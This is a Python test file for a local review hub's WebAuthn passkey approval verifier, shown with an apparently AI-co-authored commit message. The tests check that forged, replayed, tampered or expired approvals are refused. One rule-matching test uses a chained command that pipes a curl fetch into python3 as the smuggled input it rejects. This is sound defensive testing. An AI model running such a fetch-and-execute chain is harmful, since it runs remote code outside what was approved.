Files
skills/tests/test_hub_approval.py
T
Kevin Veen-BirkenbachandClaude Opus 5.5 8ba45efd04 feat(hub): kvb-hub review hub with passkey-signed approvals
The kvb-hub is a local review hub in a container bound to 127.0.0.1: one page, JSON APIs and an MCP endpoint for the operator's inbox, asks, decisions, staged-commit reviews, the radio stream, the agent graph, the worktree tree, push-to-talk and read-aloud radio (Piper, whisper.cpp) and an optional LLM command line. The hub is only a relay. The host executors in hub/client (the runner user service, the PermissionRequest hook and the approval CLI the commit skills call) verify a WebAuthn passkey signature against keys pinned outside every sandbox, refuse replays and fail closed. scripts/hub.sh with make hub-install, hub-check, hub-pin, hub-runner and hub-hook installs and checks the hub; hub-hook writes ~/.claude/settings.json after a backup. make watch-check shows a stuck watch hook. The new kvb-git-diff skill and the commit skills route reviews through the hub; the test_hub_* suites replace test_hub.py.

Security review (kvb-think-criticize, three skeptics) fixed four holes: signed rules auto-approved chained shell commands; the client and LLM openers followed redirects, the LLM one with its bearer key; the worktree scan ran git fsmonitor and filter commands from agent-writable repos; compose set no memory, pids or health limits. Documented until core requirement 093, on the operator's word: the hub page is trusted while signing and pinning, local processes can forge the unsigned operator actions, and the container reads the host /tmp. Committed on the operator's word despite the gate: the passkey path is not yet verified live.

Accepted MEDUSA false positives (137 findings on 115 lines, rows in security-accepted.jsonl): EXA002 x17, MEDUSA-MM-SCAN-058 x12, B603 x8, MEDUSA-FTSC-SCAN-089 x7, MEDUSA-PRIV-SCAN-762 x6, AIC-EXFIL-005 x5, EXA006 x5, MEDUSA-FTSCAN-231 x5, WEB-SSRF x5, MEDUSA-INF-SCAN-2057 x3, RH005 x3, TC001 x3, LO002 x2, MEDUSA-AEXP-SCAN-096 x2, MEDUSA-CGS-SCAN-028 x2, MEDUSA-INF-SCAN-1350 x2, MEDUSA-INF-SCAN-2369 x2, MEDUSA-INF-SCAN-2440 x2, MEDUSA-INF-SCAN-2638 x2, MLSC-SERIAL-002 x2, PL002 x2, PQC005 x2, SAST-PATH-001 x2, TC004 x2, TC005 x2, TC006 x2, TC007 x2, AA-146, EXA007, FINE-050, GB-ENCODE-001, GB-ENCODE-003, MEDUSA-CGS-SCAN-029, MEDUSA-CGS-SCAN-103, MEDUSA-DP-SCAN-1034, MEDUSA-DP-SCAN-1916, MEDUSA-DP-SCAN-954, MEDUSA-EXF26-TOOL-004, MEDUSA-FT-TRIGGER-005, MEDUSA-INF-SCAN-2206, MEDUSA-INF-SCAN-2457, MEDUSA-INF-WEB-003, MEDUSA-INFRA-SCAN-030, MEDUSA-MP-SCAN-1135, MEDUSA-RLHF-POISON-002, MEDUSA-RT-SCAN-006, MM-ENCODE-001, MP-124, PQC001, PQC002, PQC006, RP001, TC009, TC010, WEB-FLASK-004.

🎯 Fix: 80 %
💥 Break: 4 %
💸 Cost: 129 %
⏱️ Time: –
🛡️ Security: 100 %
💰 Value: ?
🏆 Score: 60
🚦 Gate: ⛔ fix 80 % < 90; cost 129 % > 100: ask the operator before the commit

```
/home/kevinveenbirkenbach/Repositories/github.com/kevinveenbirkenbach/skills/.worktrees/feature/kvb-hub
```

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-06 18:46:40 +00:00

278 lines
17 KiB
Python

from __future__ import annotations
import hashlib
import http.server
import json
import os
import secrets
import stat
import subprocess
import sys
import tempfile
import threading
import time
import unittest
import urllib.error
import urllib.request
from pathlib import Path
from unittest import mock
from hub_support import (
APPROVAL,
ORIGIN,
PRESENT,
REGISTERED,
b64,
cbor_encode,
hub_api,
key,
passkey,
signing,
verifier,
)
from kvb_hub import language
class Redirect(http.server.BaseHTTPRequestHandler):
def do_GET(self):
self.send_response(302)
self.send_header("Location", "http://127.0.0.1:9/elsewhere")
self.end_headers()
def log_message(self, *args):
pass
class TestApproval(unittest.TestCase):
def setUp(self):
tmp = tempfile.TemporaryDirectory()
self.addCleanup(tmp.cleanup)
self.base = Path(tmp.name)
self.approvers = self.base / "config" / "approvers.json"
self.trust = verifier.Trust(approvers=self.approvers, replay=self.base / "state" / "replay.json", origin=ORIGIN)
self.now = time.time()
self.item = signing.ask_item("0123456789abcdef", "Bash", "make test", "/repo", "s1")
def payload(self, items: list[dict], expires: int) -> dict:
return signing.approval_payload([signing.item_hash(item) for item in items], secrets.token_hex(16), expires)
def refused(self, proof: object, item: dict, gate: str, pattern: str) -> None:
with self.assertRaisesRegex(signing.Refused, pattern):
verifier.check(proof, item, gate, self.trust, self.now)
def test_valid_es256_eddsa_and_rs256_signatures_pass(self):
for alg in (-7, -8, -257):
with self.subTest(alg=alg):
signer = key(alg, "main")
signer.pin(self.approvers, ORIGIN)
verifier.check(signer.proof(self.payload([self.item], int(self.now) + 60), ORIGIN), self.item, "", self.trust, self.now)
self.assertEqual([entry["alg"] for entry in verifier.pinned(self.approvers)], [-7, -8, -257])
def test_every_broken_part_of_a_signature_is_refused(self):
signer = key(-7, "main")
signer.pin(self.approvers, ORIGIN)
payload = self.payload([self.item], int(self.now) + 60)
good = signer.proof(payload, ORIGIN)
other = signing.ask_item("fedcba9876543210", "Bash", "make test", "/repo", "s1")
cases = (
("wrong origin", {"payload": payload, "assertion": signer.assertion(payload, "http://localhost:9999", "localhost", PRESENT, 0)}, self.item, "origin"),
("http 127.0.0.1", {"payload": payload, "assertion": signer.assertion(payload, "http://127.0.0.1:8737", "localhost", PRESENT, 0)}, self.item, "origin"),
("wrong rpId", {"payload": payload, "assertion": signer.assertion(payload, ORIGIN, "evil.example", PRESENT, 0)}, self.item, "rpIdHash"),
("UP flag missing", {"payload": payload, "assertion": signer.assertion(payload, ORIGIN, "localhost", 0x04, 0)}, self.item, "user presence"),
("tampered command", good, {**self.item, "command": "make deploy"}, "does not list this item"),
("tampered cwd", good, {**self.item, "cwd": "/elsewhere"}, "does not list this item"),
("tampered session", good, {**self.item, "session": "s2"}, "does not list this item"),
("item not in the bulk list", signer.proof(self.payload([other, {**other, "id": "0000000000000000"}], int(self.now) + 60), ORIGIN), self.item, "does not list this item"),
("expired", signer.proof(self.payload([self.item], int(self.now) - 1), ORIGIN), self.item, "expired"),
("expiry too far ahead", signer.proof(self.payload([self.item], int(self.now) + signing.LIFETIME + 60), ORIGIN), self.item, "too far"),
("unpinned key", key(-8, "stranger").proof(payload, ORIGIN), self.item, "not pinned"),
("tampered payload", {"payload": {**payload, "expires": payload["expires"] + 1}, "assertion": good["assertion"]}, self.item, "challenge"),
("tampered signature", {"payload": payload, "assertion": {**good["assertion"], "signature": b64(bytes(70))}}, self.item, "does not verify"),
("tampered authenticator data", {"payload": payload, "assertion": {**good["assertion"], "authenticatorData": b64(hashlib.sha256(b"localhost").digest() + bytes([PRESENT]) + bytes([0, 0, 0, 9]))}}, self.item, "does not verify"),
("create instead of get", {"payload": payload, "assertion": {**good["assertion"], "clientDataJSON": b64(json.dumps({"type": "webauthn.create", "challenge": signing.challenge(payload), "origin": ORIGIN}).encode())}}, self.item, "webauthn.get"),
("no signature", None, self.item, "no signature"),
("rule kind smuggled", {"payload": {**payload, "kind": "rule"}, "assertion": good["assertion"]}, self.item, "no rule"),
)
for name, proof, item, pattern in cases:
with self.subTest(name=name):
self.refused(proof, item, "", pattern)
verifier.check(good, self.item, "", self.trust, self.now)
self.refused(good, self.item, "", "already used")
self.approvers.unlink()
self.refused(signer.proof(self.payload([self.item], int(self.now) + 60), ORIGIN), self.item, "", "no key is pinned")
self.approvers.parent.mkdir(exist_ok=True)
self.approvers.write_text('{"credentials": []}', encoding="utf-8")
self.refused(signer.proof(self.payload([self.item], int(self.now) + 60), ORIGIN), self.item, "", "no key is pinned")
def test_one_bulk_signature_serves_each_listed_item_once(self):
signer = key(-8, "main")
signer.pin(self.approvers, ORIGIN)
items = [signing.operator_item(f"operator/task-{number}", f"echo {number}", "/repo") for number in range(3)]
proof = signer.proof(self.payload(items, int(self.now) + 60), ORIGIN)
for item in items:
verifier.check(proof, item, "", self.trust, self.now)
for item in items:
with self.subTest(item=item["id"]):
self.refused(proof, item, "", "already used")
self.refused(proof, signing.operator_item("operator/task-3", "echo 3", "/repo"), "", "does not list")
other = verifier.Trust(approvers=self.approvers, replay=self.base / "state" / "other.json", origin=ORIGIN)
verifier.check(proof, items[0], "", other, self.now)
self.assertEqual(len(json.loads(self.trust.replay.read_text())["used"]), 3)
self.assertEqual(stat.S_IMODE(self.trust.replay.stat().st_mode), 0o600)
verifier.consume(self.trust.replay, "fresh", int(self.now) + 100, signer.id, 0, "n", self.now + 61)
self.assertEqual(list(json.loads(self.trust.replay.read_text())["used"]), ["fresh"])
self.trust.replay.write_text("not json", encoding="utf-8")
self.refused(signer.proof(self.payload([self.item], int(self.now) + 60), ORIGIN), self.item, "", "replay store")
def test_a_signature_counter_must_grow_when_it_is_kept(self):
signer = key(-7, "main")
signer.pin(self.approvers, ORIGIN)
def counted(count: int, items: list[dict]) -> dict:
payload = self.payload(items, int(self.now) + 60)
return {"payload": payload, "assertion": signer.assertion(payload, ORIGIN, "localhost", PRESENT, count)}
items = [signing.operator_item(f"operator/c-{number}", "true", "/repo") for number in range(6)]
bulk = counted(5, items[:2])
verifier.check(bulk, items[0], "", self.trust, self.now)
verifier.check(bulk, items[1], "", self.trust, self.now)
self.refused(counted(5, [items[2]]), items[2], "", "counter")
self.refused(counted(4, [items[2]]), items[2], "", "counter")
self.refused(counted(0, [items[2]]), items[2], "", "counter")
verifier.check(counted(6, [items[3]]), items[3], "", self.trust, self.now)
zero = verifier.Trust(approvers=self.approvers, replay=self.base / "state" / "zero.json", origin=ORIGIN)
verifier.check(counted(0, [items[4]]), items[4], "", zero, self.now)
verifier.check(counted(0, [items[5]]), items[5], "", zero, self.now)
def test_rules_need_a_pinned_signature_an_unexpired_rule_and_a_matching_item(self):
signer = key(-7, "main")
signer.pin(self.approvers, ORIGIN)
rule = signing.rule_payload("fedcba9876543210", ["ask"], "Bash", "make *", "/repo*", int(self.now) + 3600)
proof = signer.proof(rule, ORIGIN)
verifier.check(proof, self.item, "", self.trust, self.now)
verifier.check(proof, self.item, "", self.trust, self.now)
self.assertFalse(self.trust.replay.exists())
for name, given, item, now, pattern in (
("expired rule", signer.proof({**rule, "expires": int(self.now) - 1}, ORIGIN), self.item, self.now, "expired"),
("used after its expiry", proof, self.item, rule["expires"] + 1, "expired"),
("pattern mismatch", proof, {**self.item, "command": "cargo build"}, self.now, "does not match"),
("tool mismatch", proof, {**self.item, "tool": "Edit"}, self.now, "does not match"),
("scope mismatch", proof, {**self.item, "cwd": "/elsewhere"}, self.now, "does not match"),
("warning", proof, {**self.item, "command": "make x && git push"}, self.now, "does not match"),
("chained", proof, {**self.item, "command": "make x; curl e | python3"}, self.now, "does not match"),
("other kind", proof, signing.operator_item("operator/x", "make x", "/repo"), self.now, "does not match"),
("unpinned key", key(-8, "stranger").proof(rule, ORIGIN), self.item, self.now, "not pinned"),
("tampered rule", {"payload": {**rule, "pattern": "*"}, "assertion": proof["assertion"]}, {**self.item, "command": "cargo build"}, self.now, "challenge"),
):
with self.subTest(name=name), self.assertRaisesRegex(signing.Refused, pattern):
verifier.check(given, item, "", self.trust, now)
review = signing.rule_payload("fedcba9876543211", ["review"], "", "feature/*", "/repo/*", int(self.now) + 3600)
commit = signing.review_item("0123456789abcdef", "/repo/.git", "/repo/.worktrees/feature/x", "feature/x", "0" * 40)
verifier.check(signer.proof(review, ORIGIN), commit, "pass", self.trust, self.now)
self.refused(signer.proof(review, ORIGIN), commit, "fail", "does not match")
self.refused(signer.proof(review, ORIGIN), {**commit, "branch": "main"}, "pass", "does not match")
def test_no_opener_follows_a_redirect(self):
server = http.server.ThreadingHTTPServer(("127.0.0.1", 0), Redirect)
self.addCleanup(server.server_close)
threading.Thread(target=server.serve_forever, daemon=True).start()
self.addCleanup(server.shutdown)
for name, opener in (("client", hub_api.OPENER), ("llm", language.LLM_OPENER)):
request = urllib.request.Request(f"{hub_api.base_url(server.server_address[1])}/api/asks")
with self.subTest(name=name), self.assertRaises(urllib.error.HTTPError) as caught:
opener.open(request, timeout=5)
self.assertEqual(caught.exception.code, 302)
def test_attestation_parsing_yields_the_pinned_key_of_each_algorithm(self):
for alg in (-7, -8, -257):
with self.subTest(alg=alg):
signer = key(alg, "main")
self.assertEqual(passkey.attested(signer.credential(ORIGIN, "localhost", REGISTERED), ORIGIN), {"id": signer.id, "alg": alg, "spki": b64(signer.spki)})
signer = key(-7, "main")
good = signer.credential(ORIGIN, "localhost", REGISTERED)
attestation, _ = passkey.cbor(passkey.b64decode(good["attestationObject"], "attestationObject"), 0, 0)
data = attestation["authData"]
p384 = {1: 2, 3: -35, -1: 2, -2: bytes(48), -3: bytes(48)}
swapped = data[:55] + key(-8, "stranger").raw_id + data[71:]
for name, credential, pattern in (
("wrong origin", signer.credential("http://localhost:1", "localhost", REGISTERED), "origin"),
("wrong rpId", signer.credential(ORIGIN, "evil.example", REGISTERED), "rpIdHash"),
("no attested credential", signer.credential(ORIGIN, "localhost", PRESENT), "attested"),
("no user presence", signer.credential(ORIGIN, "localhost", 0x44), "user presence"),
("get instead of create", {**good, "clientDataJSON": b64(json.dumps({"type": "webauthn.get", "origin": ORIGIN}).encode())}, "webauthn.create"),
("other id", {**good, "id": key(-8, "stranger").id}, "differs"),
("swapped id", {**good, "attestationObject": b64(cbor_encode({"fmt": "none", "attStmt": {}, "authData": swapped}))}, "differs"),
("truncated", {**good, "attestationObject": good["attestationObject"][:40]}, "CBOR|authData"),
("P-384", {**good, "attestationObject": b64(cbor_encode({"fmt": "none", "attStmt": {}, "authData": data[:71] + cbor_encode(p384)}))}, "none of"),
("extra field", {**good, "type": "public-key"}, "exactly"),
):
with self.subTest(name=name), self.assertRaisesRegex(signing.Refused, pattern):
passkey.attested(credential, ORIGIN)
def test_the_cbor_decoder_reads_what_webauthn_sends_and_nothing_else(self):
value = {"fmt": "none", 1: -7, -2: b"\x00\xff", "list": [0, 23, 24, 255, 256, 65536, 2**32, True, False, None], "text": "ä"}
encoded = cbor_encode(value)
self.assertEqual(passkey.cbor(encoded, 0, 0), (value, len(encoded)))
for name, data in (
("indefinite array", b"\x9f\x01\xff"),
("float", b"\xfa\x00\x00\x00\x00"),
("tag", b"\xc0\x01"),
("truncated bytes", b"\x44\x00"),
("truncated length", b"\x19\x01"),
("repeated key", b"\xa2\x01\x01\x01\x02"),
("bad utf-8", b"\x61\xff"),
("too deep", b"\x81" * 40 + b"\x01"),
("empty", b""),
):
with self.subTest(name=name), self.assertRaises(signing.Refused):
passkey.cbor(data, 0, 0)
def test_both_backends_verify_and_reject_the_same(self):
backends = [passkey.by_openssl] if passkey.serialization is None else [passkey.by_openssl, passkey.by_library]
for alg in (-7, -8, -257):
signer = key(alg, "main")
data = os.urandom(64)
signature = signer.sign(data)
for backend in backends:
with self.subTest(alg=alg, backend=backend.__name__):
self.assertTrue(backend(alg, signer.spki, data, signature))
self.assertFalse(backend(alg, signer.spki, data + b"x", signature))
self.assertFalse(backend(alg, signer.spki, data, bytes(len(signature))))
self.assertFalse(backend({-7: -257, -8: -7, -257: -7}[alg], signer.spki, data, signature))
self.assertFalse(backend(-36, signer.spki, data, signature))
signer = key(-8, "main")
signer.pin(self.approvers, ORIGIN)
with mock.patch.object(passkey, "serialization", None):
verifier.check(signer.proof(self.payload([self.item], int(self.now) + 60), ORIGIN), self.item, "", self.trust, self.now)
def test_the_pin_cli_writes_the_pinned_keys_with_mode_0600(self):
approvers = self.base / "fresh" / "kvb-hub" / "approvers.json"
def pin(blob: str, port: str) -> subprocess.CompletedProcess:
argv = [sys.executable, str(APPROVAL), "pin", "--port", port, "--approvers", str(approvers), "--credential", blob]
return subprocess.run(argv, capture_output=True, text=True, timeout=60, check=False)
done = pin(key(-7, "main").blob(ORIGIN), "8737")
self.assertEqual(done.returncode, 0, done.stderr)
self.assertIn(f"pinned {key(-7, 'main').id} (ES256)", done.stdout)
self.assertEqual((stat.S_IMODE(approvers.stat().st_mode), stat.S_IMODE(approvers.parent.stat().st_mode)), (0o600, 0o700))
self.assertEqual(pin(key(-7, "main").blob(ORIGIN), "8737").returncode, 0)
self.assertEqual(pin(key(-8, "main").blob(ORIGIN), "8737").returncode, 0)
self.assertEqual([(entry["id"], entry["alg"]) for entry in verifier.pinned(approvers)], [(key(-7, "main").id, -7), (key(-8, "main").id, -8)])
self.assertEqual(stat.S_IMODE(approvers.stat().st_mode), 0o600)
before = approvers.read_bytes()
for blob, port, reason in ((key(-257, "main").blob(ORIGIN), "9999", "origin"), ("not-a-blob!", "8737", "base64url"), (b64(b"[1]"), "8737", "exactly")):
with self.subTest(reason=reason):
done = pin(blob, port)
self.assertEqual(done.returncode, 1, done.stdout)
self.assertIn(reason, done.stderr)
self.assertEqual(approvers.read_bytes(), before)
self.assertEqual(sorted(path.name for path in approvers.parent.iterdir()), ["approvers.json"])
approvers.chmod(0o664)
with self.assertRaisesRegex(signing.Refused, "writable by others"):
verifier.pinned(approvers)
if __name__ == "__main__":
unittest.main()